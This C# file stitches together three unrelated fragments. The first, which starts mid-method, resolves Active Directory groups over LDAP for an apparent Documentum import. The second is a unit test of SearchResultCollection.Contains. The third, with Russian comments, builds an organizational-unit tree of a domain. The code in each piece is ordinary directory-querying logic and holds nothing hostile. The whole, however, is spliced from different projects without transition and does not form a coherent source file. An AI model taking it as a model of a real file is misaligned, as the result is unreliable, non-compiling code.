                using (DirectorySearcher ldapSearch = new DirectorySearcher(ldapDirectory))
                {
                    ldapSearch.Filter   = "(objectClass=group)";
                    ldapSearch.PageSize = PAGE_SIZE;
                    using (SearchResultCollection ldapResults = ldapSearch.FindAll())
                    {
                        int c = 0;
                        foreach (SearchResult r in ldapResults)
                        {
                            ImportedPrincipalInfo info = new ImportedPrincipalInfo(r, domain);
                            groupsByGUID[info.Guid]       = info;
                            groupsByLogin[info.LoginName] = info;
                            if ((++c % ldapSearch.PageSize) == 0)
                            {
                                Log.Info(string.Format("Loaded {0} groups", c));
                            }
                        }
                    }
                }

                List <string> logins = new List <string>(groupsByLogin.Keys);
                List <ImportedPrincipalInfo> items = new List <ImportedPrincipalInfo>(groupsByLogin.Count);
                logins.Sort();
                foreach (string l in logins)
                {
                    items.Add(groupsByLogin[l]);
                }
                try
                {
                    StoreCache(ldapDirectory, "groups", items);
                }
                catch (Exception e)
                {
                    Log.Warn(string.Format("Failed to write the group cache for the LDAP directory at [{0}] (domain {1})", ldapDirectory.Path, ldapDirectory.Name), e);
                }
            }

            // Step 2: sanitize the fallback groups.  Their non-existance is an error
            if ((fallbackName != null) && !groupsByLogin.ContainsKey(fallbackName))
            {
                fallbackName = null;
            }
            if ((internalName != null) && !groupsByLogin.ContainsKey(internalName))
            {
                internalName = null;
            }

            // Step 3: Scan through the XML file generating the mappings for the groups being referenced
            using (XmlReader groupsXml = this.ImportContext.LoadIndex("groups"))
            {
                Log.Info(string.Format("Loaded {0} LDAP groups, resolving the groups in XML...", groupsByGUID.Count));
                while (groupsXml.ReadToFollowing("group"))
                {
                    using (XmlReader groupxml = groupsXml.ReadSubtree())
                    {
                        XElement   group  = XElement.Load(groupxml);
                        XNamespace ns     = group.GetDefaultNamespace();
                        string     name   = (string)group.Element(ns + "name");
                        string     source = (string)group.Element(ns + "source");
                        string     type   = (string)group.Element(ns + "type");

                        IEnumerable <XElement> attributes = group.Element(ns + "attributes").Elements(ns + "attribute");
                        ImportedPrincipalInfo  info       = null;
                        switch (source)
                        {
                        case "LDAP":
                            string ldapGuid = ((string)attributes.FirstOrDefault(a => a.Attribute("name").Value == "dctm:group_global_unique_id")).ToLower().Trim();
                            // ldapGuid will be of the form DIRECTORY:hexGuid, so we have to parse the directory name.  If it's the same directory
                            // as our domain uses, then we can search by guid directly.  Otherwise, we have to search by samaccountname
                            string[] data = ldapGuid.Split(':');
                            if (data[0] == ldapSyncAlias && groupsByGUID.ContainsKey(data[1]))
                            {
                                info = groupsByGUID[data[1]];
                            }

                            if (info == null)
                            {
                                // Either not the same domain, or couldn't find the GUID in question, so...
                                if (groupsByLogin.ContainsKey(name))
                                {
                                    info = groupsByLogin[name];
                                }
                                else
                                if (fallbackName != null)
                                {
                                    info = groupsByLogin[fallbackName];
                                }
                            }
                            break;

                        default:
                            string key = (name.StartsWith("dm_") || name.StartsWith("${") ? internalName : fallbackName);
                            if (key != null)
                            {
                                info = groupsByLogin[key];
                            }
                            break;
                        }

                        if (info != null)
                        {
                            groups[name] = info;
                        }
                    }
                }
                // Make sure the fallbacks are in place
                if (fallbackName != null && !groups.ContainsKey(fallbackName))
                {
                    groups[fallbackName] = groupsByLogin[fallbackName];
                }
                if (internalName != null && !groups.ContainsKey(internalName))
                {
                    groups[internalName] = groupsByLogin[internalName];
                }
            }
            return(groups);
        }
        public void Contains()
        {
            SearchResultCollection collection = new SearchResultCollection();

            SearchResult res = new SearchResult(MockDocument("d", "d", "d", DateTime.Now));
            SearchResult res2 = new SearchResult(MockDocument("d2", "d", "d", DateTime.Now));

            collection.Add(res);
            Assert.IsTrue(collection.Contains(res), "Collection should contain item");
            Assert.IsFalse(collection.Contains(res2), "Collection should not contain item");

            Assert.IsFalse(collection.Contains(null), "Contains should return false");
        }
        // Получить дерево подразделений домена
        public static ReadOnlyCollection <DomainTreeItem> GetDomainOUTree(DirectoryEntry entry, ref string errorMsg)
        {
            List <DomainTreeItem> result   = new List <DomainTreeItem>();
            DomainTreeItem        rootNode = null;
            DomainTreeItem        treeNode = null;
            DomainTreeItem        curNode  = null;
            string domain    = "";
            string domainTag = "";
            string curTag    = "";

            try
            {
                DirectorySearcher searchAD = new DirectorySearcher(entry);
                searchAD.Filter = "distinguishedName=*";
                SearchResult resultsAD = searchAD.FindOne();
                string       domainDN  = (string)resultsAD.Properties["distinguishedName"][0];

                DirectorySearcher dirSearcher = new DirectorySearcher(entry);
                dirSearcher.SearchScope = SearchScope.Subtree;
                dirSearcher.Filter      = string.Format("(|(objectClass=organizationalUnit)(objectClass=organization)(cn=Users)(cn=Computers))");
                dirSearcher.PropertiesToLoad.Add("distinguishedName");
                dirSearcher.PropertiesToLoad.Add("l");
                SearchResultCollection searchResults = dirSearcher.FindAll();

                #region Создане корневого элемента дерева
                foreach (string dom in domainDN.Split(','))
                {
                    if (domain.Length > 0)
                    {
                        domain    += "." + dom.Split('=')[1];
                        domainTag += "," + dom;
                    }
                    else
                    {
                        domain    += dom.Split('=')[1];
                        domainTag += dom;
                    }
                }
                rootNode = new DomainTreeItem()
                {
                    Title = domain, Description = domainTag, Image = @"/CreateUsersPPK;component/Resources/ADServer.ico", IsSelected = true, IsExpanded = true
                };
                result.Add(rootNode);
                #endregion

                #region Обработка списка входных данных которые состоят из dn записей OU домена
                foreach (SearchResult sr in searchResults)
                {
                    // Разбиваем dn запись на элементы для дальнейшей обработки, в качестве разделителя используется запятая
                    //string[] arrdata = ((string)sr.Properties["distinguishedName"][0]).Split(',');
                    string[] arrdata = SplitDN((string)sr.Properties["distinguishedName"][0]).ToArray();
                    // Получаем город dn записи
                    string city = (sr.Properties.Contains("l") ? (string)sr.Properties["l"][0] : "");
                    // Домен каждый раз получаем из dn записи
                    domain    = "";
                    domainTag = "";

                    #region Получение домена из dn записи
                    foreach (string dom in arrdata)
                    {
                        if (dom.StartsWith("DC"))
                        {
                            if (domain.Length > 0)
                            {
                                domain    += "." + dom.Split('=')[1];
                                domainTag += "," + dom;
                            }
                            else
                            {
                                domain    += dom.Split('=')[1];
                                domainTag += dom;
                            }
                        }
                    }
                    #endregion

                    //Обнуляем дерево dn записи
                    treeNode = null;

                    #region Проверяем совпадает ли домен полученый из dn записи с доменом по умолчанию, совпадает - берем домен по умолчанию, не совпадает создаём дочерний домен
                    if (rootNode.Description == domainTag)
                    {
                        treeNode = rootNode;
                        curTag   = rootNode.Description;
                    }
                    else
                    {
                        foreach (DomainTreeItem tvi in rootNode.Childs)
                        {
                            if (tvi.Description == domainTag)
                            {
                                treeNode = tvi;
                                curTag   = tvi.Description;
                                break;
                            }
                        }
                        if (treeNode == null)
                        {
                            treeNode = new DomainTreeItem()
                            {
                                Title = domain, Description = domainTag, Image = @"/CreateUsersPPK;component/Resources/ADServer.ico", IsSelected = true, IsExpanded = true
                            };
                            rootNode.Childs.Add(treeNode);
                            curTag = domainTag;
                        }
                    }
                    #endregion

                    //Обнуляем текущий элемент дерева
                    curNode = null;

                    #region Добавляем текущую dn запись в дерево домена, если какой либо ветки нет в домене она будет создана
                    //Получем количество элементов масива dn записи
                    int i = arrdata.Length - 1;
                    while (i >= 0)
                    {
                        //Если елемент массива начинается с DC, это часть имени домена, переходим к следующему элементу
                        if (arrdata[i].StartsWith("DC"))
                        {
                            i--;
                            continue;
                        }

                        //формируем текущий тег записи
                        curTag = arrdata[i].Substring(0, 3) + EscAD(arrdata[i].Substring(3)) + "," + curTag;
                        //Обнуляем значение переменной нового элемента дерева
                        DomainTreeItem newNode = null;


                        if (curNode != null)
                        {
                            //Если текущий элемент дерева не пуст, значит ищем новый элемент дерева в нём
                            foreach (DomainTreeItem tvi in curNode.Childs)
                            {
                                //Если в текущем элементе дерева нашли новый элемент, значит делаем найденный элемент новым
                                if (tvi.Description == curTag)
                                {
                                    newNode = tvi;
                                    break;
                                }
                            }
                            //Если новый элемент дерева пуст значит создаём его
                            if (newNode == null)
                            {
                                string outitle = arrdata[i];
                                outitle = outitle.Substring(3);
                                //Title = arrdata[i].Split('=')[1]
                                newNode = new DomainTreeItem()
                                {
                                    Title = arrdata[i].Substring(3), Description = curTag, City = city, Image = @"/CreateUsersPPK;component/Resources/ActiveDirectory.ico"
                                };
                                curNode.Childs.Add(newNode);
                            }
                            //Делаем новый элемент текущим
                            curNode = newNode;
                        }
                        else
                        {
                            //Если текущий элемент дерева пуст, значит осущесвляем поиск нового элемента в корневом элементе дерева
                            foreach (DomainTreeItem tvi in treeNode.Childs)
                            {
                                //Если в корневом элементе дерева нашли новый элемент, значит делаем найденный элемент новым
                                if (tvi.Description == curTag)
                                {
                                    newNode = tvi;
                                    break;
                                }
                            }
                            //Если новый элемент дерева пуст значит создаём его
                            if (newNode == null)
                            {
                                newNode = new DomainTreeItem()
                                {
                                    Title = arrdata[i].Substring(3), Description = curTag, City = city, Image = @"/CreateUsersPPK;component/Resources/ActiveDirectory.ico"
                                };
                                treeNode.Childs.Add(newNode);
                            }
                            //Делаем новый элемент текущим
                            curNode = newNode;
                        }
                        //переходим к следующему элементу массива
                        i--;
                    }
                    #endregion
                }
                #endregion
            }
            catch (Exception exp)
            {
                errorMsg = exp.ToString();
            }

            return(result.AsReadOnly());
        }